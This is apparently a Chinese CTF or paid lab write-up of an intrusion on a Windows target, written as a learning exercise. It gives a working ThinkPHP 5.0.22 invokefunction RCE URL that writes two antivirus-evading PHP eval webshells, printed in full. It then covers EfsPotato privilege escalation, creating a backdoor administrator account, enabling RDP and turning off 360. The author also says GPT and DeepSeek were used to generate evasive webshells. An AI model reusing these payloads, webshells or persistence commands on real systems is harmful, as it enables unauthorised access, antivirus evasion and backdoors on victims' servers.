在第一层外网 有个THINKphp5.0.22的服务,存在RCE漏洞,直接用狐狸说安全的工具包里的thinkphp利用工具去打,也可以去网上搜一下他的nday,去调用一些php其他函数。
通过漏洞执行命令:tasklist /SVC,查看当前所有进程,然后拿在线网站Windows杀软在线查询🔰雨苁🔰 https://www.ddosi.org/av/帮忙查看。
如下图,发现有个windows defender和360安全卫士,那我们的php一句话木马就不是很好用,需要想办法写入一个免杀效果好的木马。
这个地方的php免杀有几个坑点:
- 1.第一天打的时候用的如下代码,测试能过360和defender;第二天上号重开的时候,发现就已经失效了。
- 2.蚁剑,哥斯拉等等常规的shell管理工具,都是需要走eval函数的。但如果通过外部传变量的方式,外部传参,虽然免杀效果很好,但是没法传eval;并且经测试,回调函数也回调不出来eval,就比较难受,这里我只能用明文放eval了,回头看看别人的免杀样本。
- 3.这边我用file_put_contents函数传入文件。因为如果走常规的方式,比如echo命令,这个因为要免杀的话需要写很长,对$符号和””都需要进行很多的转义,太麻烦;其他的我一般用的也少。好在这个tp5.0.22的rce是直接能够调用函数的,那就可以用文件输入函数。但是>号不能被传,传了之后就认为是php结尾了,很奇怪;并且注释符不能有,因为这样输入的东西会默认为一行,即使注释符在后面,但传的时候都是按照一行去传的。
总之这个如果光是免杀不算特别麻烦,但是这个上传导入的过程耗了很长时间。
php免杀这块,跟着曾哥的手册去学学,并且配合GPT,Deepseek等语言模型,去生成一个然后改改关键的要点即可,360的查杀webshell力度不算大
http://172.20.56.32//index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=g.php&vars[1][]=
<?php
function putimage($getthesizeedData, $key,$s) {
$getthesizeedData = base64_decode($getthesizeedData);
$shift = 1;
$getthesizeedData = str_split($getthesizeedData);
$data ="id";
return $data;
}
$key = $_REQUEST["tisasdscadc"];
$a=$_REQUEST["aoraroaors"];
$c=putimage($a,$key,1);
function istureurl($functionName, $parameter)
{
eval($parameter);
}
istureurl($c, $_REQUEST["id"]);
?>
之后第二天的样本:
http://172.20.56.32//index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=666.php&vars[1][]=<?php
function putimage($getthesizeedData, $key,$s) {
$file2='/var/www/html/.1.php';
$c="9ufgyeugfihwahguyfdwgahdkavbwehdfioavghqwjpuf8hyog";
$c="9ufgyeugfihwahguyfdwgayog";
$data ="ahguyfdwgahdfhwgyahguyfdwgahdfhwgyahguyfdwgahdfhwgy";
return $data;
}
$c="9ufgyeugfihwudwqihfukavbwehdfioavgyrfbuehqwjpuf8hyog";
$key = $_REQUEST["tisasdscadc"];
$a=$_REQUEST["aoraroaors"];$key = $_REQUEST["tisasdscadc"];
$a=$_REQUEST["aorardawroaors"];
function istureurl($functionName, $parameter)
{
if("1232323"!=="awndhyuyufalieojhfukeiyhufvgyuh")
{ eval($parameter);}
}
istureurl($c, $_REQUEST["id"]);
?>
然后下一步,查看当前机器的权限,网卡,端口开放情况。
whoami /priv
可以看到我们当前的用户特权是比较低的,但是有SeImpersonatePrivilege特权,可以进行土豆提权
这边大佬推荐用EfsPotato提权,本来想试试甜土豆来着但是还没学(
EfsPatato,在官网https://github.com/zcgonvh/EfsPotato下载,本地跟着官网用csc命令将它编译后上传即可。
编译成功,上传exe,然后套着壳子即可成功执行,这时候用户就是非常高的权限了。
命令格式:.\EfsPotato.exe "net user pass name /add"
如上添加完后门用户,还需要把他设置到本地用户组:
.\EfsPotato.exe "shell net localgroup administrators pass /add"
然后尝试远程连接,会发现他那个RDP服务没开。
搜了一下命令把他远程桌面3389开了:
.\EfsPotato.exe "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"
这时候远程连接,输入刚才创建后门用户的账号密码即可。上去之后就可以把360关掉了~
其实还可以mimikatz去抓取管理员账号的密码,但还没来得及尝试(),后面的flag也没拿到了呜呜。
哎,时间短而且不熟练,最后靶机12点关机了,没交会员,止步于此。
有机会再多打打windows吧,靶机质量还是很不错的感觉,如果后面再交了会员我会更新这个文章的。
PS:后来才发现360的webshell免杀能力真的比较弱。。。。。放两张图给大家看